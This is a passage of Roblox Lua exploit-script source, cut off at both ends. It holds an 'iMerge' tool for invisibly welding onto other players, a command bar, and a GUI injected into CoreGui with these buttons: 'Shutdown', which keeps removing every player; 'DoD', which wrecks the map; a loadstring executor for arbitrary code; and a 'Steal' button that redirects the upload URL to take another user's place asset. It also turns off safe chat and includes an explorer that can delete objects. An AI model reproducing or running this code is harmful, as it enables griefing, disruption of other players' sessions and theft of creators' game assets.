script.Name="iMergeScript"
script.Parent=bin
else
script.Name="iMergeScript"
bin=script.Parent
bin.Name="iMergeTool"
end
una=false
bin.Selected:connect(function(mouse)
function cff(path)
for _,v in pairs(path:GetChildren())do
if(v:IsA("Part"))then
Instance.new("ForceField",v)
end
cff(v)
end
end
cff(plr.Character)
mouse.Button1Down:connect(function()
if(mouse.Target~=nil)then
if(mouse.Target.Parent:IsA("Model"))then

if(mouse.Target.Parent:FindFirstChild("Humanoid"))then
if(mouse.Target.Parent.Humanoid.Health~=0)then
function cff(path)
for _,v in
pairs(path:GetChildren())do
if(v:IsA("Part"))then

Instance.new("ForceField",v)
end
cff(v)
end
end
cff(plr.Character)

chr:FindFirstChild("Torso").Anchored=false
inv=function(pth)
for _,v in
pairs(pth:GetChildren())do

if(v:IsA("Part"))or(v:IsA("Decal"))or(v:IsA("CornerWedgePart"))or(v:IsA("TrussPart"
))or(v:IsA("WedgePart"))or(v:IsA("Seat"))or(v:IsA("VehicleSeat"))or(v:IsA("Skateboa
rdPlatform"))then
v.Transparency=1
end
inv(v)
end
end
inv(chr)

chr:FindFirstChild("Humanoid").PlatformStand=true

chr:FindFirstChild("Head").CanCollide=false

chr:FindFirstChild("Torso").CanCollide=false

chr:FindFirstChild("Torso").CFrame=CFrame.new(mouse.Target.Parent:FindFirstChild("T
orso").CFrame.p+Vector3.new(0,8,0))

chr:FindFirstChild("Head").CanCollide=true

chr:FindFirstChild("Torso").CanCollide=true
if
not(chr:FindFirstChild("iMergeWeld"))then
wld=Instance.new("Weld",chr)
wld.Name="iMergeWeld"
else

wld=chr:FindFirstChild("iMergeWeld")
function rff(path)
for _,v in
pairs(path:GetChildren())do

if(v:IsA("ForceField"))then
v:remove()
end
rff(v)
end
end
rff(wld.Part0.Parent)
end

wld.Part0=mouse.Target.Parent:FindFirstChild("Torso")
wld.Part1=chr:FindFirstChild("Torso")
wld.C1=CFrame.new(Vector3.new(0,-0.1,0))
if(mouse.Target~=nil)then
function iff(path)
for _,v in
pairs(path:GetChildren())do
if(v:IsA("Part"))then

Instance.new("ForceField",v)
end
iff(v)
end
end
iff(mouse.Target.Parent)

Instance.new("ForceField",mouse.Target.Parent)
end

coroutine.resume(coroutine.create(function(chr,una)
una=true
while(una)and wait() do
if
not(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("Humanoid").PlatformSta
nd==true)then

chr:FindFirstChild("Torso").Anchored=true
break
else

chr:FindFirstChild("Torso").Anchored=false
end
end
end),chr,una)

coroutine.resume(coroutine.create(function(plr,chr)
while true and wait() do

if(plr==nil)or(plr:FindFirstChild("Humanoid").Health==0)then
function rff(path)
for _,v in
pairs(path:GetChildren())do

if(v:IsA("ForceField"))then

v:remove()
end
rff(v)
end
end
rff(plr)
break
end
end
end),mouse.Target.Parent,chr)
end
end
elseif(mouse.Target.Parent:IsA("Hat"))then
if(mouse.Target.Parent.Parent:IsA("Model"))then

if(mouse.Target.Parent.Parent:FindFirstChild("Humanoid"))then

if(mouse.Target.Parent.Parent.Humanoid.Health~=0)then
inv=function(pth)
for _,v in
pairs(pth:GetChildren())do

if(v:IsA("Part"))or(v:IsA("Decal"))or(v:IsA("CornerWedgePart"))or(v:IsA("TrussPart"
))or(v:IsA("WedgePart"))or(v:IsA("Seat"))or(v:IsA("VehicleSeat"))or(v:IsA("Skateboa
rdPlatform"))then
v.Transparency=1
end
inv(v)
end
end
inv(chr)

chr:FindFirstChild("Humanoid").PlatformStand=true

chr:FindFirstChild("Head").CanCollide=false

chr:FindFirstChild("Torso").CanCollide=false

chr:FindFirstChild("Torso").CFrame=CFrame.new(mouse.Target.Parent.Parent:FindFirstC
hild("Torso").CFrame.p+Vector3.new(0,8,0))

chr:FindFirstChild("Head").CanCollide=true

chr:FindFirstChild("Torso").CanCollide=true
if
not(chr:FindFirstChild("iMergeWeld"))then
wld=Instance.new("Weld",chr)
wld.Name="iMergeWeld"
else

wld=chr:FindFirstChild("iMergeWeld")
function rff(path)
for _,v in
pairs(path:GetChildren())do

if(v:IsA("ForceField"))then
v:remove()
end
rff(v)
end
end
rff(wld.Part0.Parent)
end

wld.Part0=mouse.Target.Parent.Parent:FindFirstChild("Torso")

wld.Part1=chr:FindFirstChild("Torso")
wld.C1=CFrame.new(Vector3.new(0,-
0.1,0))
if(mouse.Target~=nil)then
function iff(path)
for _,v in
pairs(path:GetChildren())do

if(v:IsA("Part"))then

Instance.new("ForceField",v)
end
iff(v)
end
end

iff(mouse.Target.Parent.Parent)
Instance.new("ForceField",mouse.Target.Parent.Parent)
end

coroutine.resume(coroutine.create(function(chr,una)
una=true
while(una)and wait() do
if
not(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("Humanoid").PlatformSta
nd==true)then

chr:FindFirstChild("Torso").Anchored=true
break
else

chr:FindFirstChild("Torso").Anchored=false
end
end
end),chr,una)

coroutine.resume(coroutine.create(function(plr,chr)
while true and wait() do

if(plr==nil)or(plr:FindFirstChild("Humanoid").Health==0)then
function rff(path)
for _,v in
pairs(path:GetChildren())do

if(v:IsA("ForceField"))then

v:remove()
end
rff(v)
end
end
rff(plr)
break
end
end

end),mouse.Target.Parent.Parent,chr)
end
end
end
end
end
end)
function onKeyDown(chr,una)
key_down=mouse.KeyDown:connect(function(key)
key=string.lower(key)
app=function(tra)

if(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("iMergeWeld").Part0~=nil
)then

rmt=chr:FindFirstChild("iMergeWeld").Part0.Parent
else
rmt=nil
end
if(rmt~=nil)then
function rff(path)
for _,v in pairs(path:GetChildren())do
if(v:IsA("ForceField"))then
v:remove()
end
rff(v)
end
end
rff(rmt)
end
function cff(path)
for _,v in pairs(path:GetChildren())do
if(v:IsA("ForceField"))then
v:remove()
end
cff(v)
end
end
cff(chr)
una=false

if(chr:FindFirstChild("iMergeWeld"))or(chr:FindFirstChild("Humanoid").PlatformStand
==true)then
pcall(function(chr)
chr:FindFirstChild("iMergeWeld"):remove() end,chr)

chr:FindFirstChild("Torso").CFrame=CFrame.new(chr:FindFirstChild("Torso").CFrame.p+
Vector3.new(0,8,0))
end
vis=function(pth)
for _,v in pairs(pth:GetChildren())do

if(v:IsA("Part"))or(v:IsA("Decal"))or(v:IsA("CornerWedgePart"))or(v:IsA("TrussPart"
))or(v:IsA("WedgePart"))or(v:IsA("Seat"))or(v:IsA("VehicleSeat"))or(v:IsA("Skateboa
rdPlatform"))then
v.Transparency=tra
end
vis(v)
end
end
vis(chr)
chr:FindFirstChild("Humanoid").PlatformStand=false
chr:FindFirstChild("Torso").Anchored=false
key_down:disconnect()
onKeyDown(chr,una)
end
if(key=="e")then
app(1)
elseif(key=="r")then
app(0)
end
end)
end
onKeyDown(chr,una)
end)
bin.Deselected:connect(function()

if(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("iMergeWeld").Part0~=nil
)then
rmt=chr:FindFirstChild("iMergeWeld").Part0.Parent
else
rmt=nil
end
coroutine.resume(coroutine.create(function(chr,una)
una=true
while(una)and wait() do
if
not(chr:FindFirstChild("iMergeWeld"))and(chr:FindFirstChild("Humanoid").PlatformSta
nd==true)then
chr:FindFirstChild("Torso").Anchored=true
break
else
chr:FindFirstChild("Torso").Anchored=false
end
end
end),chr,una)
coroutine.resume(coroutine.create(function(plr,chr)
while true and wait() do

if(plr==nil)or(plr:FindFirstChild("Humanoid").Health==0)then
function rff(path)
for _,v in pairs(path:GetChildren())do
if(v:IsA("ForceField"))then
v:remove()
end
rff(v)
end
end
rff(plr)
break
end
end
end),rmt,chr)
end)]]

local s=function(type)
return game:service(type)
end
wfp=function(Instance,Property)
while not Instance[Property]do Instance.Changed:wait''end
return Instance[Property]
end
wfo=function(i,p,n)
while 0 do
for i,v in pairs(i:children'')do
if v[p]==n then return v end
end
i.ChildAdded:wait''
end
end
CreateScript=function(Class,Parent,Text)
if#Scripts~=2 then FIXSCRIPTS''end
local Script=Scripts[Class]:clone''
local Work=Instance.new('StringValue',Script)
Work.Name='Change'
Work.Value=[[script.Change.Value='']]..Text
Script.Parent=Parent
return Script
end
pf=function(Name)
local Players={}
local name=Name:lower''
for i,v in pairs(s'Players':GetPlayers'')do
if(function()
if name=='me'then return v==Player
elseif name=='all'then return true
end
return v.Name:lower'':find(name)==1
end)()then
table.insert(Players,v)
end
end
return Players
end
SearchCommand=function(Text)
X(function()
local cmd=Text:match'(%w+)'
local asd={}
if not cmd then return end
local cmdf=Commands[cmd]
if not cmdf then return end
pcall(function()
Text='/'..Text:match(cmd..'(.+)')
for i in Text:gmatch'/([^/]+)'do table.insert(asd,i)end
end)
cmdf(Text:sub(2),asd)
end)
end
GetAll=function(Instance,Table)
if type(Table)~='table'then Table={}end
for i,v in pairs(Instance:children'')do
table.insert(Table,v)
GetAll(v,Table)
end
return Table
end
ctool=function(name)
local ntool=Instance.new("HopperBin", game.Players.LocalPlayer.Backpack)
ntool.Name = name
return ntool;
end
FindChildren=function(Instance,Property,Name)
local l={}
for i,v in pairs(GetAll(Instance))do
if v[Property]==Name then table.insert(l,v)end
end
return l
end
SaveFModel=function(i,n)
local connect
local insert=s'InsertService'
local model=Instance.new'Model'
local object=nil
connect=insert.DescendantAdded:connect(function(c)
if object then return end
c=c:clone''
if c.Name==n then
object=c
else
object=c:FindFirstChild(n)
end
if not object then return end
connect:disconnect''
end)
insert:LoadAsset(i)
while not object do model.ChildAdded:wait''end
return object
end
FIXSCRIPTS=function()

Scripts={Script=SaveFModel(65743611,'9999999999222');LocalScript=SaveFModel(6574362
9,'9999999999222')}
end
CommanderFocus=function()
if ShowBox.Value then return end
if not ChatButton.Visible then return end
ShowBox.Value=true
X(function()ChatBox:CaptureFocus''end)
end
CommandBar=function()
CommanderName='AMACCG'

CommanderScreen=Instance.new('ScreenGui',PlayerGui)

CommanderScreen.Name=CommanderName

ChatButton=Instance.new('TextButton',CommanderScreen)
ChatBox=Instance.new('TextBox',ChatButton)

ChatButton.Size=UDim2.new(1,0,0,17)
ChatButton.Position=UDim2.new(0,0,1,-17)
ChatButton.BackgroundColor3=Color3.new(0,0,0)
ChatButton.TextColor3=Color3.new(1,1,1)
ChatButton.TextXAlignment=0
ChatButton.FontSize=5
ChatButton.Font=2
ChatButton.AutoButtonColor=false
ChatButton.Text='Click here or press "\\" to use commander'

ChatBox.Size=UDim2.new(1,0,1)
ChatBox.Position=UDim2.new(0,0,1,-17)
ChatBox.BackgroundColor3=Color3.new(.6,0,0)
ChatBox.TextColor3=Color3.new(1,1,1)
ChatBox.TextXAlignment=0
ChatBox.FontSize=5
ChatBox.Font=2
ChatBox.Visible=ShowBox.Value
ChatBox.Text=''

table.insert(Connects,ChatButton.MouseButton1Down:connect(CommanderFocus))
ChatBox.Changed:connect(function(f)
if f~='Text'then return end
SearchCommand(ChatBox.Text)
ShowBox.Value=false
end)

ShowBox.Changed:connect(function(c)ChatBox.Visible=c end)

for i,v in pairs(PlayerGui:children'')do


if v.Name==CommanderName and v~=CommanderScreen then
pcall(v.remove,v)
end
end
end
ExproGui=function()
local edb = Instance.new("TextButton")
edb.Size = UDim2.new(.05, 0, .05, 0)
edb.Position = UDim2.new(0, 5, 0.5, -80);
edb.TextColor3 = Color3.new(1, 1, 1)
edb.MouseButton1Click:connect(function()
insrt = game:GetService("InsertService"):LoadAsset(21001552)
insrt2 = game:GetService("InsertService"):LoadAsset(35742089)
pcall(function()
for _, v in pairs(insrt:GetChildren()) do
v:Clone().Parent = game.Players.LocalPlayer.Backpack
end
for _, v in pairs(insrt2:GetChildren()) do
v:Clone().Parent = game.Players.LocalPlayer.Backpack
end
end)
end)

edb.Text = "Insert"
edb.Parent = game.CoreGui.RobloxGui
edb.Style = "RobloxButtonDefault"
edb.Draggable = true

local pb = Instance.new("TextButton")
pb.Size = UDim2.new(.05, 0, .05, 0)
pb.Position = UDim2.new(0, 5, 0.5, -25);
pb.Draggable = true
pb.TextColor3 = Color3.new(1, 1, 1)
pb.MouseButton1Click:connect(function()
local p=Instance.new("Part");
p.Name = "RAWR"
p.BrickColor = BrickColor.Random()
p.Material = ((math.random(1, 2) == 1) and "Ice") or "Wood";
p.CFrame = CFrame.new(math.random(-60, 60), (game.PlaceId == 41324860 and
350 or 60), math.random(-60, 60));
p.formFactor = "Custom"
p.Size = Vector3.new(0.5, math.random(2, 40)/10, 0.5)
p.Parent = workspace
end)
pb.Text = "Make part"
pb.Style = "RobloxButtonDefault"
pb.Parent = game.CoreGui.RobloxGui

function getAll(obj)
for i, v in pairs(obj:getChildren()) do
if v:IsA("BasePart") then
v.Anchored = false
v.Color = BrickColor.new("Really black").Color
bv = Instance.new("BodyVelocity")
bv.Parent = v
bv.maxForce = Vector3.new(100000000,100000000,100000000)
end
getAll(v)
end
end

function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset?
id=126242857" then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = .5
One = Instance.new("Decal", v)
Two = Instance.new("Decal", v)
Three = Instance.new("Decal", v)
Four = Instance.new("Decal", v)
Five = Instance.new("Decal", v)
Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset?id=126242857"
Two.Texture = "http://www.roblox.com/asset?id=126242857"
Three.Texture = "http://www.roblox.com/asset?id=126242857"
Four.Texture = "http://www.roblox.com/asset?id=126242857"
Five.Texture = "http://www.roblox.com/asset?id=126242857"
Six.Texture = "http://www.roblox.com/asset?id=126242857"
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end

local DoD = Instance.new("TextButton", game.CoreGui.RobloxGui)


DoD.Size = UDim2.new(.05, 0, .05, 0)
DoD.Position = UDim2.new(0, 5, 0.5, 70);
DoD.Text = "DoD"
DoD.TextColor3 = Color3.new(1, 1, 1)
DoD.Style = "RobloxButtonDefault"
DoD.Draggable = true

DoD.MouseButton1Click:connect(function()
getAll(workspace)
game.Lighting.TimeOfDay = "07:00:00"
game.Lighting.Ambient = Color3.new(0,0,0)
sky = Instance.new("Sky")
sky.Parent = game.Lighting
sky.SkyboxBk = "http://www.roblox.com/asset/?id=8772734"
sky.SkyboxDn = "http://www.roblox.com/asset/?id=8772734"
sky.SkyboxFt = "http://www.roblox.com/asset/?id=8772734"
sky.SkyboxLf = "http://www.roblox.com/asset/?id=8772734"
sky.SkyboxRt = "http://www.roblox.com/asset/?id=8772734"
sky.SkyboxUp = "http://www.roblox.com/asset/?id=8772734"
end)

Shutdown = Instance.new("TextButton", game.CoreGui.RobloxGui)


Shutdown.Size = UDim2.new(.05, 0, .05, 0)
Shutdown.Position = UDim2.new(0, 5, 0.5, 110)
Shutdown.Text = "Shutdown"
Shutdown.TextColor3 = Color3.new(1, 1, 1)
Shutdown.Style = "RobloxButtonDefault"
Shutdown.Draggable = true

Shutdown.MouseButton1Click:connect(function()
coroutine.resume(coroutine.create(function()
while wait() do
for _, v in pairs(game.Players:GetPlayers()) do
v.Parent = nil
end
end
end))
end)

ExPro = Instance.new("TextButton", game.CoreGui.RobloxGui)


ExPro.Size = UDim2.new(.05, 0, .05, 0)
ExPro.Position = UDim2.new(0, 5, 0.5, 150)
ExPro.Text = "ExPro"
ExPro.TextColor3 = Color3.new(1, 1, 1)
ExPro.Style = "RobloxButtonDefault"
ExPro.Draggable = true

ExPro.MouseButton1Click:connect(function()
exPro(workspace)
end)

ScriptFrame = Instance.new("Frame", game.CoreGui.RobloxGui)


ScriptFrame.Size = UDim2.new(0.5, 0, 0.75, 0)
ScriptFrame.Position = UDim2.new(0.300000012, 0, 0.200000003, 0)
ScriptFrame.Active = true
ScriptFrame.Draggable = true
ScriptFrame.Style = "RobloxRound"

Panel = Instance.new("TextBox", ScriptFrame)


Panel.BackgroundColor3 = Color3.new(1, 1, 1)
Panel.ClearTextOnFocus = true --Change to false if you want easy script
edit
Panel.FontSize = "Size9"
Panel.MultiLine = true
Panel.Position = UDim2.new(0, 0, 0.100000001, 0)
Panel.Size = UDim2.new(1, 0, 0.899999976, 0)
Panel.BorderSizePixel = 0
Panel.Text = ""
Panel.TextWrap = true
Panel.TextXAlignment = "Left"
Panel.TextYAlignment = "Top"

ExecuteButton = Instance.new("TextButton", ScriptFrame)


ExecuteButton.Font = "ArialBold"
ExecuteButton.FontSize = "Size12"
ExecuteButton.Text = "Execute"
ExecuteButton.Size = UDim2.new(.3, 0, .05, 0)
ExecuteButton.Style = "RobloxButtonDefault"
ExecuteButton.TextColor3 = Color3.new(1, 1, 1)
ExecuteButton.TextYAlignment = "Center"
ExecuteButton.TextXAlignment = "Center"

ExecuteButton.MouseButton1Click:connect(function()
local func = loadstring(Panel.Text) or function() end
pcall(function()
coroutine.resume(coroutine.create(func))
end)
end)

StealText = Instance.new("TextBox", game.CoreGui.RobloxGui)


StealText.BackgroundColor3 = Color3.new(1, 1, 1)
StealText.ClearTextOnFocus = false
StealText.Font = "ArialBold"
StealText.FontSize = "Size11"
StealText.Position = UDim2.new(0, 0, 0.879999995, 0)
StealText.Size = UDim2.new(0.100000001, 0, 0.0500000007, 0)
StealText.Text = ""

StealButton = Instance.new("TextButton", game.CoreGui.RobloxGui)


StealButton.Font = "ArialBold"
StealButton.FontSize = "Size12"
StealButton.Text = "Steal"
StealButton.Position = UDim2.new(0.100000001, 0, 0.879999995, 0)
StealButton.Size = UDim2.new(0.0700000003, 0, 0.0500000007, 0)
StealButton.TextColor3 = Color3.new(1, 1, 1)
StealButton.Style = "RobloxButtonDefault"

StealButton.MouseButton1Click:connect(function()
pcall(function()
game:GetService("Visit"):SetUploadUrl("http://www.roblox.com/Data/
Upload.ashx?assetid=" .. StealText.Text);
game.CoreGui.RobloxGui.ControlFrame.SaveDialogShield.Visible = true
end)
end)

coroutine.resume(coroutine.create(function()
while wait() do
game:ClearMessage()
end
end))

game.Players.LocalPlayer:SetSuperSafeChat(false);
end
ExplorerGui=function()
local name = "thejustifierx"

while true and wait() do


if (game.Players.LocalPlayer == nil) then else break end end

Properties={nil,"Name","className","Parent","archivable","AttachmentForward","Attac
hmentPos","AttachmentRight","AttachmentUp","AnimationId","HeadColor","RightArmColor
","LeftArmColor","TorsoColor","LeftLegColor","RightLegColor","Value","CameraType","
CameraSubject","BaseTextureId","BodyPart","MeshId","OverlayTextureId","MaxActivatio
nDistance","Shiny","Specular","Texture","Face","GripForward","GripPos","GripRight",
"GripUp","TextureId","TeamColor","Enabled","CFrame","BrickColor","Material","Reflec
tance","Transparency","Position","RotVelocity","Velocity","Anchored","CanCollide","
Locked","Elasticity","Friction","Shape","Size","formFactor","BackSurface","BottomSu
rface","FrontSurface","LeftSurface","RightSurface","TopSurface","AbsolutePosition",
"AbsoluteSize","Active","BackgroundColor3","BackgroundTransparency","BorderColor3",
"BorderSizePixel","SizeConstraint","Visible","ZIndex","C0","C1","Part0","Part1","Bi
nType","LeftLeg","RightLeg","Torso","Health","MaxHealth","WalkSpeed","Jump","Platfo
rmStand","Sit","AutoButtonColor","Image","LinkedSource","Disabled","Text","PrimaryP
art","CurrentAngle","DesiredAngle","MaxVelocity","PantsTemplate","ShirtTemplate","S
oundId","Pitch","IsPlaying","IsPaused","Looped","PlayOnRemove","StudsPerTileU","Stu
dsPerTileV","userId","BubbleChat","ClassicChat","MaxPlayers","NumPlayers","LocalPla
yer","CharacterAppearance","Character","CurrentCamera","Ambient","Brightness","Colo
rShift_Bottom","ColorShift_Top","ShadowColor","GeographicLatitude","TimeOfDay","Amb
ientReverb","DistanceFactor","DopplerScale","RolloffScale","FogEnd","FieldOfView","
FogStart","FogColor","CameraMode"}
GlobalProperties={nil,"Name","className","Parent","archivable"}

GlobalEvents={nil,"AncestryChanged","ChildAdded","ChildRemoved","DescendantAdded","
DescendantRemoving"}

GlobalFunctions={nil,"Clone","FindFirstChild","GetChildren","GetFullName","IsA","Is
AncesterOf","IsDescendantOf","Remove"}
local Selection=game
local updateDebounce=1
Base="http://www.roblox.com/asset/?id="

Images={Value=40332408,Sound=40332463,Script=40332546,ScreenGui=40332596,Part=40332
760,Nil=40332825,Model=40332865,Message=40332942,LocalScript=40332996,Joint=4033304
9,Frame=40333121,Camera=40333217,Backpack=40333260,Player=40332674,Body=40339623,Ho
pperBin=40339572,Tool=40339513,Workspace=40484518,Mesh=40484580,Property=40493937,A
nimation=40531758,Hat=40531808,Humanoid=40531903}
Min=1
Max=40
MAXPAGEN=40
--[[==================================================================]]
function GetProperties(Object,Table)
local Return={}
local function C() end
for i=1,#Table do
if pcall(function() C(Object[Table[i]]) end) then
if (Object:FindFirstChild(Table[i])==nil) then
table.insert(Return,Table[i])
end end end
return Return
end

function GetType(Prop)
if (type(Prop)=="userdata") then
if pcall(function() Prop.Name=Prop.Name end) then
return Prop.Name
end end
return Prop
end

function SetPropGui()
if (Selection~=nil) then
local PropGuiPos=0
local Gui=game:GetService("CoreGui"):FindFirstChild("PropertiesGui")
if (Gui~=nil) then
Gui:Remove()
end
PropGui=Instance.new("ScreenGui")
PropGui.Parent=game:GetService("CoreGui")
PropGui.Name="PropertiesGui"
local Props=GetProperties(Selection,Properties)
for i=1,#Props do
PropGuiPos=i
local Get=GetType(Props[i])
local Label=Instance.new("TextButton")
Label.Parent=PropGui
Label.Size=UDim2.new(0,150,0,15)
Label.Text=" "..tostring(Get).." | "..tostring(Selection[Get])
Label.BackgroundColor3=Color3.new(0.7,0.7,0.9)
Label.Name=tostring(Get)
Label.TextXAlignment="Left"
Label.Position=UDim2.new(0,230,0,(i*15)-15)
Label.TextColor3=Color3.new(0,0,0)
Label.BorderColor3=Color3.new(0,0,0)
Label.BackgroundTransparency=0.5
Label.Active=false
Label.AutoButtonColor=false
CreateImageLabel(Label,Base..Images.Property)
if (type(Selection[Props[i]])=="boolean") then
if pcall(function() Selection[Props[i]]=Selection[Props[i]] end) then
Label.Active=true
Label.AutoButtonColor=true
Label.BackgroundColor3=Color3.new(0.5,0.5,1)
Label.MouseButton1Click:connect(function()
if (Selection[Props[i]]==true) then
Selection[Props[i]]=false
elseif (Selection[Props[i]]==false) then
Selection[Props[i]]=true
end
Label.Text=" "..tostring(Props[i]).." |
"..tostring(Selection[Props[i]])
end) end end end
end end

function CreateImageLabel(Par,image)
local label=Instance.new("ImageLabel")
label.BackgroundColor3=Color3.new(1,1,1)
label.BackgroundTransparency=1
label.Name="ItemImage"
label.Size=UDim2.new(0,13,0,13)
label.Position=UDim2.new(0,1,0,1)
label.Image=image
label.BorderSizePixel=0
label.Parent=Par
end

function SetImage(Par,class)
if (class=="IntValue") or (class=="BoolValue") or (class=="StringValue") or
(class=="ObjectValue") or (class=="CFrameValue") or (class=="Vector3Value") or
(class=="NumberValue") or (class=="RayValue") or (class=="Color3Value") or
(class=="BrickColorValue") then
CreateImageLabel(Par,Base..Images.Value)
elseif (class=="Sound") or (class=="StockSound") or (class=="SoundService")
then
CreateImageLabel(Par,Base..Images.Sound)
elseif (class=="Script") then
CreateImageLabel(Par,Base..Images.Script)
elseif (class=="ScreenGui") or (class=="GuiMain") or
(class=="BillboardGui") then
CreateImageLabel(Par,Base..Images.ScreenGui)
elseif (class=="Part") or (class=="WedgePart") or (class=="TrussPart") then
CreateImageLabel(Par,Base..Images.Part)
elseif (class=="Model") then
CreateImageLabel(Par,Base..Images.Model)
elseif (class=="Hint") or (class=="Message") then
CreateImageLabel(Par,Base..Images.Message)
elseif (class=="LocalScript") then
CreateImageLabel(Par,Base..Images.LocalScript)
elseif (class=="Weld") or (class=="Snap") or (class=="Glue") or
(class=="Rotate") or (class=="RotateP") or (class=="RotateV") or
(class=="JointsService") then
CreateImageLabel(Par,Base..Images.Joint)
elseif (class=="Frame") or (class=="TextLabel") or (class=="TextButton") or
(class=="TextBox") or (class=="ImageButton") or (class=="ImageLabel") then
CreateImageLabel(Par,Base..Images.Frame)
elseif (class=="Camera") then
CreateImageLabel(Par,Base..Images.Camera)
elseif (class=="Backpack") or (class=="StarterGear") or
(class=="StarterPack") or (class=="StarterGui") or (class=="PlayerGui") then
CreateImageLabel(Par,Base..Images.Backpack)
elseif (class=="Player") or (class=="PseudoPlayer") or (class=="Players")
then
CreateImageLabel(Par,Base..Images.Player)
elseif (class=="BodyPosition") or (class=="BodyGyro") or
(class=="BodyVelocity") or (class=="BodyThrust") or (class=="BodyForce") or
(class=="RocketPropulsion") then
CreateImageLabel(Par,Base..Images.Body)
elseif (class=="HopperBin") then
CreateImageLabel(Par,Base..Images.HopperBin)
elseif (class=="Tool") then
CreateImageLabel(Par,Base..Images.Tool)
elseif (class=="Workspace") then
CreateImageLabel(Par,Base..Images.Workspace)
elseif (class=="BlockMesh") or (class=="SpecialMesh") or
(class=="CylinderMesh") then
CreateImageLabel(Par,Base..Images.Mesh)
elseif (class=="Animation") or (class=="CharacterMesh") then
CreateImageLabel(Par,Base..Images.Animation)
elseif (class=="Hat") then
CreateImageLabel(Par,Base..Images.Hat)
elseif (class=="Humanoid") then
CreateImageLabel(Par,Base..Images.Humanoid)
elseif (class=="StarterScript") then
CreateImageLabel(Par,Base..Images.LocalScript)
elseif (class=="CoreScript") then
CreateImageLabel(Par,Base..Images.LocalScript)
else CreateImageLabel(Par,Base..Images.Nil)
end
end
function SetExplGui()
if (Selection~=nil) then
local Gui=game:GetService("CoreGui"):FindFirstChild("ExplorerGui")
if (Gui~=nil) then Gui:Remove() end
local Children=Selection:GetChildren()
ExplGui=Instance.new("ScreenGui")
ExplGui.Parent=game:GetService("CoreGui")
ExplGui.Name="ExplorerGui"
if (Selection.Parent~=nil) then
local BackButton=Instance.new("TextButton")
BackButton.Size=UDim2.new(0,120,0,15)
BackButton.BorderColor3=Color3.new(0,0,0)
BackButton.TextColor3=Color3.new(0,0,0)
BackButton.Parent=ExplGui
BackButton.Text="Back to " .. Selection.Parent.Name
BackButton.BackgroundColor3=Color3.new(0.3,0.3,1)
BackButton.BackgroundTransparency=0.5
BackButton.Position=UDim2.new(0,380,0,0)
BackButton.Name="Back"
BackButton.MouseButton1Click:connect(function()
Selection=Selection.Parent
SetExplGui()
SetPropGui()
end) end
if (#Children>=MAXPAGEN) then
local f=0
for i=Min,Max do
f=f+1
local Obj=Instance.new("TextButton")
Obj.Size=UDim2.new(0,120,0,15)
Obj.BorderColor3=Color3.new(0,0,0)
Obj.TextColor3=Color3.new(0,0,0)
Obj.Parent=ExplGui
Obj.Text=" "..Children[i].Name
Obj.BackgroundColor3=Color3.new(0.4,0.4,0.6)
Obj.BackgroundTransparency=0.5
Obj.TextXAlignment="Left"
if (Selection.Parent~=nil) then Obj.Position=UDim2.new(0,380,0,(f*15)) else
Obj.Position=UDim2.new(0,380,0,(f*15)-15) end
Obj.Name=Children[i].Name
SetImage(Obj,Children[i].className)
Obj.MouseButton1Click:connect(function() pcall(function()
Selection=Children[i] SetExplGui() SetPropGui() end) end)
local Remove=Instance.new("TextButton")
Remove.Size=UDim2.new(0,15,0,15)
Remove.BorderColor3=Color3.new(0,0,0)
Remove.TextColor3=Color3.new(0,0,0)
Remove.Parent=ExplGui
Remove.Text="X"
Remove.BackgroundColor3=Color3.new(1,0.25,0.25)
Remove.BackgroundTransparency=0.5
Remove.Name="Remove" .. Children[i].Name
if (Selection.Parent~=nil) then Remove.Position=UDim2.new(0,500,0,(f*15))
else Remove.Position=UDim2.new(0,500,0,(f*15)-15) end
Remove.MouseButton1Click:connect(function() if (pcall(function()
Children[i]:Remove() end)) then SetPropGui() SetExplGui() else
Remove.BackgroundColor3=Color3.new(1,1,1) wait(1)
Remove.BackgroundColor3=Color3.new(1,0.25,0.25) end end)
end
local UP=Instance.new("TextButton")
UP.Position=UDim2.new(0,515,0,0)
UP.Size=UDim2.new(0,15,0,15)
UP.BorderColor3=Color3.new(0,0,0)
UP.TextColor3=Color3.new(0,0,0)
UP.Parent=ExplGui
UP.Text="^"
UP.BackgroundColor3=Color3.new(1,0.25,0.25)
UP.BackgroundTransparency=0.5
UP.Name="UpButton"
UP.MouseButton1Click:connect(function() if (Min<=1) then return end
Min=Min-1 Max=Max-1 SetExplGui() end)
local DOWN=Instance.new("TextButton")
DOWN.Position=UDim2.new(0,515,0,15)
DOWN.Size=UDim2.new(0,15,0,15)
DOWN.BorderColor3=Color3.new(0,0,0)
DOWN.TextColor3=Color3.new(0,0,0)
DOWN.Parent=ExplGui
DOWN.Text="v"
DOWN.BackgroundColor3=Color3.new(1,0.25,0.25)
DOWN.BackgroundTransparency=0.5
DOWN.Name="DownButton"
DOWN.MouseButton1Click:connect(function() if (Max>=#Children) then return
end Min=Min+1 Max=Max+1 SetExplGui() end)
else
Max=MAXPAGEN
Min=1
for i=1,#Children do
local Obj=Instance.new("TextButton")
Obj.Size=UDim2.new(0,120,0,15)
Obj.BorderColor3=Color3.new(0,0,0)
Obj.TextColor3=Color3.new(0,0,0)
Obj.Parent=ExplGui
Obj.Text=" "..Children[i].Name
Obj.BackgroundColor3=Color3.new(0.4,0.4,0.6)
Obj.BackgroundTransparency=0.5
Obj.TextXAlignment="Left"
if (Selection.Parent~=nil) then Obj.Position=UDim2.new(0,380,0,(i*15)) else
Obj.Position=UDim2.new(0,380,0,(i*15)-15) end
Obj.Name=Children[i].Name
SetImage(Obj,Children[i].className)
Obj.MouseButton1Click:connect(function() pcall(function()
Selection=Children[i] SetExplGui() SetPropGui() end) end)
local Remove=Instance.new("TextButton")
Remove.Size=UDim2.new(0,15,0,15)
Remove.BorderColor3=Color3.new(0,0,0)
Remove.TextColor3=Color3.new(0,0,0)
Remove.Parent=ExplGui
Remove.Text="X"
Remove.BackgroundColor3=Color3.new(1,0.25,0.25)
Remove.BackgroundTransparency=0.5
Remove.Name="Remove" .. Children[i].Name
